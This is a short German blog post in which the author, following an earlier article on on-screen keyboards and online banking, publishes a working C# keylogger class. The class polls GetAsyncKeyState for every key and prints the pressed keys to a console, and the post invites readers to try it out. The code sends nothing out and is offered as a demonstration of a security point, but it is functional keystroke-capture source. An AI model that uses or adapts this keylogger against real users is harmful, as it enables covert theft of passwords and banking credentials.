Nach meinem Artikel Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking [1] bin ich jetzt schon öfters angesprochen worden, wie man denn Tastatureingaben überwachen kann. Nachfolgend mal meine kleine KeyLogger Klasse in C#:
using System; using System.Runtime.InteropServices; using System.Windows.Forms; namespace MS.Util { public class KeyLogger { [DllImport("User32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("User32.dll")] private static extern short GetAsyncKeyState(Keys vKey); public void Read() { foreach (int i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) { Console.Write(Enum.GetName(typeof(Keys), i) + " "); } } } } }
Die Methode Read() muss man jetzt nur schnell genug hintereinander aufrufen, dann sieht man in einer Konsolenanwendung die gedrückten Tasten. Viel Spaß beim Ausprobieren, gerade auch mit einer Bildschirmtastatur!